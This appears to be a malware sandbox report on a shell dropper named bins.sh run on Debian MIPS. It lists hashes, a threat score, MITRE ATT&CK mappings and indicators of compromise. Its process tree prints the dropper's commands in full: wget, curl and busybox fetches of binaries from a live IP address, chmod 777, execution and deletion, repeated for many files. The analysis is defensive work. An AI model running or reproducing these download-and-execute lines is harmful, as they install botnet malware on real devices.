a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c

Analysis

max time kernel
148s
max time network
154s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
12/01/2025, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250112-rylfwsynfk
SHA256 a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c
MD5 5ef92ea3fc6d04b5f58588f36c6d8b8b
SHA1 b7521440aad74684a0b6172ec49a43a1514fa572
SHA512 b0966205a24db9409c5b677bcff4350e8180933c84522251661ca953d0c94f1548c4ba6135d30e15b05c60879abaf9a356ef807312879ead6262eb093b88ace4
SSDEEP 96:tcVubLb0QvYRzBZL9s9c9c9f9b950KxHzq2qaubLb0QTiR06BZBIRp9s9c9c9f95:CsYRzBZLeyKZJb0+Hz7BZqeyKZJ1HzNd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod
761	chmod
878	chmod
890	chmod
896	chmod
915	chmod
806	chmod
884	chmod
791	chmod
812	chmod
847	chmod
860	chmod
908	chmod
921	chmod
726	chmod
734	chmod
822	chmod
866	chmod
872	chmod
902	chmod
927	chmod

Executes dropped EXE 21 IoCs

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	curl
File opened for modification	/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	curl
File opened for modification	/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	curl
File opened for modification	/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	curl
File opened for modification	/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	curl
File opened for modification	/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	curl
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	curl
File opened for modification	/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	curl
File opened for modification	/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	curl
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	curl
File opened for modification	/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	curl
File opened for modification	/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	curl
File opened for modification	/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:722
- /bin/chmod
  chmod 777 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  ./8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Executes dropped EXE
  PID:727
- /bin/rm
  rm 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:729
- /usr/bin/wget
  wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:733
- /bin/chmod
  chmod 777 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  ./5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:736
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:739
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:742
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:758
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:765
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:780
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:796
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:805
- /bin/chmod
  chmod 777 Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  ./Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:808
- /usr/bin/wget
  wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:811
- /bin/chmod
  chmod 777 M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  ./M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:814
- /usr/bin/wget
  wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:817
- /bin/chmod
  chmod 777 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  ./44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:826
- /usr/bin/wget
  wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:843
- /bin/chmod
  chmod 777 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  ./0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:852
- /usr/bin/wget
  wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:859
- /bin/chmod
  chmod 777 UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  ./UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:862
- /usr/bin/wget
  wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:865
- /bin/chmod
  chmod 777 JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  ./JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:868
- /usr/bin/wget
  wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:871
- /bin/chmod
  chmod 777 pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  ./pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:874
- /usr/bin/wget
  wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:877
- /bin/chmod
  chmod 777 UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  ./UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:880
- /usr/bin/wget
  wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:883
- /bin/chmod
  chmod 777 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  ./6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:886
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:889
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:892
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:895
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:898
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:901
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:904
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:907
- /bin/chmod
  chmod 777 Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  ./Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:910
- /usr/bin/wget
  wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:914
- /bin/chmod
  chmod 777 M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  ./M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:917
- /usr/bin/wget
  wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:920
- /bin/chmod
  chmod 777 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  ./44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:923
- /usr/bin/wget
  wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:926
- /bin/chmod
  chmod 777 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  ./0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:929
- /usr/bin/wget
  wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11

Path /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	727	8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	735	5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	741	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	762	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	793	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	807	Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	813	M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	823	44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	848	0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	861	UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	867	JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	873	pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	879	UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	885	6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	891	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	897	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	903	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	909	Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	916	M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	922	44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	928	0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH